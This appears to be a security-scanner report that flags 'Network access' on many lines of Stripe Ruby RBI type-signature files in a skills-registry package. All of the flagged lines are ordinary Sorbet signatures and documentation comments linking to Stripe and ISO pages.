    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 466
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }       def quantity=(_quantity); end       # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](h
  • Network accessline 467
    def quantity=(_quantity); end       # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_
  • Network accessline 468
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd
  • Network accessline 563
    sig { params(_network: T.nilable(String)).returns(T.nilable(String)) }           def network=(_network); end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based o
  • Network accessline 564
    def network=(_network); end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-aut
  • Network accessline 565
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 806
    }       def payment_method_options=(_payment_method_options); end       # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by loo
  • Network accessline 807
    def payment_method_options=(_payment_method_options); end       # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at 
  • Network accessline 808
    # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default
  • Network accessline 882
    }     def add_invoice_items=(_add_invoice_items); end     # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the applicat
  • Network accessline 883
    def add_invoice_items=(_add_invoice_items); end     # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application ow
  • Network accessline 884
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 901
    sig { params(_backdate_start_date: T.nilable(Integer)).returns(T.nilable(Integer)) }     def backdate_start_date=(_backdate_start_date); end     # A future timestamp in UTC format to anchor the subscription's [billing cycle](https://docs.st
  • Network accessline 902
    def backdate_start_date=(_backdate_start_date); end     # A future timestamp in UTC format to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). The anchor is the reference point that aligns futu
  • Network accessline 903
    # A future timestamp in UTC format to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). The anchor is the reference point that aligns future billing cycle dates. It sets the day of week for `wee
  • Network accessline 944
    sig { params(_collection_method: T.nilable(String)).returns(T.nilable(String)) }     def collection_method=(_collection_method); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Mus
  • Network accessline 945
    def collection_method=(_collection_method); end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(T.
  • Network accessline 946
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 964
    sig { params(_days_until_due: T.nilable(Integer)).returns(T.nilable(Integer)) }     def days_until_due=(_days_until_due); end     # ID of the default payment method for the subscription. It must belong to the customer associated with the su
  • Network accessline 965
    def days_until_due=(_days_until_due); end     # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoice
  • Network accessline 966
    # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de
  • Network accessline 969
    sig { params(_default_payment_method: T.nilable(String)).returns(T.nilable(String)) }     def default_payment_method=(_default_payment_method); end     # ID of the default payment source for the subscription. It must belong to the customer 
  • Network accessline 970
    def default_payment_method=(_default_payment_method); end     # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method`
  • Network accessline 971
    # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I
  • Network accessline 1012
    }     def items=(_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k
  • Network accessline 1013
    def items=(_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys ca
  • Network accessline 1014
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 1031
    # Only applies to subscriptions with `collection_method=charge_automatically`.     #     # Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status a
  • Network accessline 1032
    #     # Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status allows you to manage scenarios where additional customer actions are needed to pay a
  • Network accessline 1033
    # Use `allow_incomplete` to create Subscriptions with `status=incomplete` if the first invoice can't be paid. Creating Subscriptions with this status allows you to manage scenarios where additional customer actions are needed to pay a subsc
  • Network accessline 1034
    #     # Use `default_incomplete` to create Subscriptions with `status=incomplete` when the first invoice requires payment, otherwise start as active. Subscriptions transition to `status=active` when successfully confirming the PaymentIntent
  • Network accessline 1035
    # Use `default_incomplete` to create Subscriptions with `status=incomplete` when the first invoice requires payment, otherwise start as active. Subscriptions transition to `status=active` when successfully confirming the PaymentIntent on th
  • Network accessline 1036
    #     # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's first invoice can't be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further customer 
  • Network accessline 1037
    # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's first invoice can't be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further customer action
  • Network accessline 1051
    }     def payment_settings=(_payment_settings); end     # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given su
  • Network accessline 1052
    def payment_settings=(_payment_settings); end     # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscrip
  • Network accessline 1053
    # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval.
  • Network accessline 1058
    }     def pending_invoice_item_interval=(_pending_invoice_item_interval); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor`. If no value is pa
  • Network accessline 1059
    def pending_invoice_item_interval=(_pending_invoice_item_interval); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor`. If no value is passed, 
  • Network accessline 1060
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor`. If no value is passed, the default is `create_prorations`.
  • Network accessline 1070
    }     def transfer_data=(_transfer_data); end     # Unix timestamp representing the end of the trial period the customer will get before being charged for the first time. If set, trial_end will override the default trial period of the plan 
  • Network accessline 1071
    def transfer_data=(_transfer_data); end     # Unix timestamp representing the end of the trial period the customer will get before being charged for the first time. If set, trial_end will override the default trial period of the plan the cu
  • Network accessline 1072
    # Unix timestamp representing the end of the trial period the customer will get before being charged for the first time. If set, trial_end will override the default trial period of the plan the customer is being subscribed to. The special v
  • Network accessline 1077
    }     def trial_end=(_trial_end); end     # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` togeth
  • Network accessline 1078
    def trial_end=(_trial_end); end     # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together wit
  • Network accessline 1079
    # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U
  • Network accessline 1082
    sig { params(_trial_from_plan: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }     def trial_from_plan=(_trial_from_plan); end     # Integer representing the number of trial period days before the customer is charged for the first t
  • Network accessline 1083
    def trial_from_plan=(_trial_from_plan); end     # Integer representing the number of trial period days before the customer is charged for the first time. This will always overwrite any trials that might apply via a subscribed plan. See [Usi
  • Network accessline 1084
    # Integer representing the number of trial period days before the customer is charged for the first time. This will always overwrite any trials that might apply via a subscribed plan. See [Using trial periods on subscriptions](https://docs.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_item_create_params.rbi

  • Network accessline 6
    class SubscriptionItemCreateParams < ::Stripe::RequestParams     class BillingThresholds < ::Stripe::RequestParams       # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 
  • Network accessline 7
    class BillingThresholds < ::Stripe::RequestParams       # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.strip
  • Network accessline 8
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 50
    def initialize(interval: nil, interval_count: nil); end       end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 51
    end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 52
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 55
    sig { params(_currency: String).returns(String) }       def currency=(_currency); end       # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 56
    def currency=(_currency); end       # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.       sig { returns(String) }
  • Network accessline 57
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 67
    }       def recurring=(_recurring); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe T
  • Network accessline 68
    def recurring=(_recurring); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setti
  • Network accessline 69
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 113
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 114
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 115
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 120
    }     def metadata=(_metadata); end     # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed t
  • Network accessline 121
    def metadata=(_metadata); end     # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay 
  • Network accessline 122
    # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam
  • Network accessline 123
    #     # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user
  • Network accessline 124
    # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio
  • Network accessline 125
    #     # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi
  • Network accessline 126
    # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd
  • Network accessline 127
    #     # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is
  • Network accessline 128
    # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede
  • Network accessline 141
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }     def price=(_price); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 142
    def price=(_price); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.     sig { returns(T.nilable(SubscriptionItemCreateParams::PriceData)) }
  • Network accessline 143
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline.
  • Network accessline 148
    }     def price_data=(_price_data); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, 
  • Network accessline 149
    def price_data=(_price_data); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or sta
  • Network accessline 150
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant
  • Network accessline 153
    sig { params(_proration_behavior: T.nilable(String)).returns(T.nilable(String)) }     def proration_behavior=(_proration_behavior); end     # If set, the proration will be calculated as though the subscription was updated at the given time.
  • Network accessline 154
    def proration_behavior=(_proration_behavior); end     # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming in
  • Network accessline 155
    # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic
  • Network accessline 168
    sig { params(_subscription: String).returns(String) }     def subscription=(_subscription); end     # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stri
  • Network accessline 169
    def subscription=(_subscription); end     # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-defaul
  • Network accessline 170
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_item_delete_params.rbi

  • Network accessline 10
    sig { params(_clear_usage: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }     def clear_usage=(_clear_usage); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billin
  • Network accessline 11
    def clear_usage=(_clear_usage); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or s
  • Network accessline 12
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant
  • Network accessline 15
    sig { params(_proration_behavior: T.nilable(String)).returns(T.nilable(String)) }     def proration_behavior=(_proration_behavior); end     # If set, the proration will be calculated as though the subscription was updated at the given time.
  • Network accessline 16
    def proration_behavior=(_proration_behavior); end     # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming in
  • Network accessline 17
    # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_item_update_params.rbi

  • Network accessline 6
    class SubscriptionItemUpdateParams < ::Stripe::RequestParams     class BillingThresholds < ::Stripe::RequestParams       # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 
  • Network accessline 7
    class BillingThresholds < ::Stripe::RequestParams       # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.strip
  • Network accessline 8
    # Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi
  • Network accessline 50
    def initialize(interval: nil, interval_count: nil); end       end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 51
    end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 52
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 55
    sig { params(_currency: String).returns(String) }       def currency=(_currency); end       # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 56
    def currency=(_currency); end       # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.       sig { returns(String) }
  • Network accessline 57
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 67
    }       def recurring=(_recurring); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe T
  • Network accessline 68
    def recurring=(_recurring); end       # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setti
  • Network accessline 69
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 113
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu
  • Network accessline 114
    def expand=(_expand); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys 
  • Network accessline 115
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 125
    sig { params(_off_session: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }     def off_session=(_off_session); end     # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot 
  • Network accessline 126
    def off_session=(_off_session); end     # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed t
  • Network accessline 127
    # Use `allow_incomplete` to transition the subscription to `status=past_due` if a payment is required but cannot be paid. This allows you to manage scenarios where additional user actions are needed to pay a subscription's invoice. For exam
  • Network accessline 128
    #     # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user
  • Network accessline 129
    # Use `default_incomplete` to transition the subscription to `status=past_due` when payment is required and await explicit confirmation of the invoice's payment intent. This allows simpler management of scenarios where additional user actio
  • Network accessline 130
    #     # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pendi
  • Network accessline 131
    # Use `pending_if_incomplete` to update the subscription using [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates). When you use `pending_if_incomplete` you can only pass the parameters [supported by pending upd
  • Network accessline 132
    #     # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is
  • Network accessline 133
    # Use `error_if_incomplete` if you want Stripe to return an HTTP 402 status code if a subscription's invoice cannot be paid. For example, if a payment method requires 3DS authentication due to SCA regulation and further user action is neede
  • Network accessline 146
    sig { params(_price: T.nilable(String)).returns(T.nilable(String)) }     def price=(_price); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 147
    def price=(_price); end     # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.     sig { returns(T.nilable(SubscriptionItemUpdateParams::PriceData)) }
  • Network accessline 148
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 153
    }     def price_data=(_price_data); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, 
  • Network accessline 154
    def price_data=(_price_data); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or sta
  • Network accessline 155
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant
  • Network accessline 158
    sig { params(_proration_behavior: T.nilable(String)).returns(T.nilable(String)) }     def proration_behavior=(_proration_behavior); end     # If set, the proration will be calculated as though the subscription was updated at the given time.
  • Network accessline 159
    def proration_behavior=(_proration_behavior); end     # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming in
  • Network accessline 160
    # If set, the proration will be calculated as though the subscription was updated at the given time. This can be used to apply the same proration that was previewed with the [upcoming invoice](https://api.stripe.com#retrieve_customer_invoic
  • Network accessline 168
    sig { params(_quantity: T.nilable(Integer)).returns(T.nilable(Integer)) }     def quantity=(_quantity); end     # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https
  • Network accessline 169
    def quantity=(_quantity); end     # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_ra
  • Network accessline 170
    # A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_list_params.rbi

  • Network accessline 165
    sig { params(_starting_after: T.nilable(String)).returns(T.nilable(String)) }     def starting_after=(_starting_after); end     # The status of the subscriptions to retrieve. Passing in a value of `canceled` will return all canceled subscri
  • Network accessline 166
    def starting_after=(_starting_after); end     # The status of the subscriptions to retrieve. Passing in a value of `canceled` will return all canceled subscriptions, including those belonging to deleted customers. Pass `ended` to find subsc
  • Network accessline 167
    # The status of the subscriptions to retrieve. Passing in a value of `canceled` will return all canceled subscriptions, including those belonging to deleted customers. Pass `ended` to find subscriptions that are canceled and subscriptions t

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_resume_params.rbi

  • Network accessline 5
    module Stripe   class SubscriptionResumeParams < ::Stripe::RequestParams     # The billing cycle anchor that applies when the subscription is resumed. Either `now` or `unchanged`. The default is `now`. For more information, see the billing 
  • Network accessline 6
    class SubscriptionResumeParams < ::Stripe::RequestParams     # The billing cycle anchor that applies when the subscription is resumed. Either `now` or `unchanged`. The default is `now`. For more information, see the billing cycle [documenta
  • Network accessline 7
    # The billing cycle anchor that applies when the subscription is resumed. Either `now` or `unchanged`. The default is `now`. For more information, see the billing cycle [documentation](https://docs.stripe.com/billing/subscriptions/billing-c
  • Network accessline 15
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the
  • Network accessline 16
    def expand=(_expand); end     # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor` being `unchanged`. When the `billing_cycle_anchor` is set to `now` (de
  • Network accessline 17
    # Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) resulting from the `billing_cycle_anchor` being `unchanged`. When the `billing_cycle_anchor` is set to `now` (default value), no prorations ar
  • Network accessline 20
    sig { params(_proration_behavior: T.nilable(String)).returns(T.nilable(String)) }     def proration_behavior=(_proration_behavior); end     # If set, prorations will be calculated as though the subscription was resumed at the given time. Th
  • Network accessline 21
    def proration_behavior=(_proration_behavior); end     # If set, prorations will be calculated as though the subscription was resumed at the given time. This can be used to apply exactly the same prorations that were previewed with the [crea
  • Network accessline 22
    # If set, prorations will be calculated as though the subscription was resumed at the given time. This can be used to apply exactly the same prorations that were previewed with the [create preview](https://stripe.com/docs/api/invoices/creat

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/subscription_schedule_create_params.rbi

  • Network accessline 140
    def initialize(amount_percent: nil, destination: nil); end       end       # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferre
  • Network accessline 141
    end       # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be 
  • Network accessline 142
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a 
  • Network accessline 152
    }       def automatic_tax=(_automatic_tax); end       # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a tr
  • Network accessline 153
    def automatic_tax=(_automatic_tax); end       # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For
  • Network accessline 154
    # Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu
  • Network accessline 290
    end         class PriceData < ::Stripe::RequestParams           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 291
    class PriceData < ::Stripe::RequestParams           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { retu
  • Network accessline 292
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 295
    sig { params(_currency: String).returns(String) }           def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 296
    def currency=(_currency); end           # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.           sig { returns(String) }
  • Network accessline 297
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to.
  • Network accessline 300
    sig { params(_product: String).returns(String) }           def product=(_product); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behav
  • Network accessline 301
    def product=(_product); end           # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setti
  • Network accessline 302
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 335
    }         def discounts=(_discounts); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured form
  • Network accessline 336
    def discounts=(_discounts); end         # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi
  • Network accessline 337
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 354
